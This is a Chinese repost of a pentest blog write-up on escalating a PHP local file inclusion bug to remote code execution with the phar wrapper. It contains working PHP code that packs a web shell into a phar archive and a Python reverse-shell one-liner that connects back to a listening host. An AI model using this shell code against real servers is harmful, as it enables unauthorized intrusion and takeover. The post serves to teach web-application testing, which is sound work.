A-A+

用Phar wrapper 实现本地文件包含(LFI)到远程代码注入(RCE)

2018年05月04日 文章转载 暂无评论 阅读 3,265 views 次

嗨,亲爱的读者们,自从上次写信以来已经有一段时间了。 为此,我将向您展示如何将本地文件包含(LFI)应用于远程代码注入(RCE)。

作为我日常工作的一部分,我需要在Web应用程序上进行pentest,所以在处理它时,我有一个本地文件包含(LFI)漏洞,它允许我读取服务器上托管的任何文件。

在Web应用程序评估期间,我使用了php wrapper来读取base64格式的文件,这需要我解码。 下图证明我已成功查看page.php文件。 由于保密协议(NDA),我必须删除任何敏感信息。

读取page.php文件内容(base64编码)

通过解码base64,我能够查看page.php的源代码。

page.php源码

在继续评估Web应用程序的同时,我注意到Web应用程序具有上传功能,该功能会将.png扩展名附加到正在上传的任何内容中。通过阅读源代码验证了这一点,感谢LFI😉。

上传.php扩展文件后,我无法执行该文件,同时我也在Burp Suite中意识到文件的内容未被删除。

 

在询问我的同事和一些Google搜索时,我发现可以使用PHP phar包装器。好消息是,该Web应用程序支持PHP phar包装。为了验证Web应用程序是否支持包装,请参考下图:

不支持

支持

 

 

从上图可以看出,如果包装不受支持,应用程序会给你一个警告,指出“无法找到包装'zip'”。

由于PHP phar包装受支持,我创建了一个要上传的文件。下面的源代码用于创建phar文件。

注意:在执行代码之前,请确保您已将php.ini中的更改从phar.readonly = On改为phar.readonly = Off。

 

<?php
 
try{
 $p = new Phar("my.phar", 0, 'my.phar');
} catch (UnexpectedValueException $e) {
 die('Could not open my.phar');
} catch (BadMethodCallException $e) {
 echo 'technically, this cannot happen';
}
 
$p->startBuffering();
$p['file1.txt'] = 'file1'; 
$p['file2.txt'] = 'file2';
$p['file3.txt'] = 'file3';
$p['shell.php'] = '<?php system($_GET[c]); ?>';
 
// use my.phar
echo file_get_contents('phar://my.phar/file2.txt'); // echo file2
 
// make a file named my.phar
$p->setStub("<?php
 Phar::mapPhar('myphar.phar'); 
__HALT_COMPILER();");
 
$p->stopBuffering();
 
?>

注意:上面的代码取自:http://0cx.cc/phar-lfi.jspx。唯一的变化是在第15行。

  • 修改之前: $p[‘shell.php’] = ‘<?php phpinfo(); eval($_POST[x]); ?>’;
  • 修改之后: $p[‘shell.php’] = ‘<?php system($_GET[c]); ?>’;

 

下图显示,我已成功执行代码并创建了一个名为my.phar的文件。

my.phar创建成功

成功上传my.phar文件后,我能够通过PHP phar包装器成功执行命令。下图显示我执行了“id”命令。

由于我能够执行命令,我做了一些枚举,并发现python正在被使用,因此我使用了python reverse shell。

下面是python反弹shell脚本:

 

python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" Listening_IP Listening_Port

反弹shell成功执行,如下图所示:

 

 

 

原文链接:http://www.jasveermaan.com/index.php/2018/04/28/local-file-inclusion-lfi-to-remote-code-injection-rce-using-phar-wrapper/

 

标签:

给我留言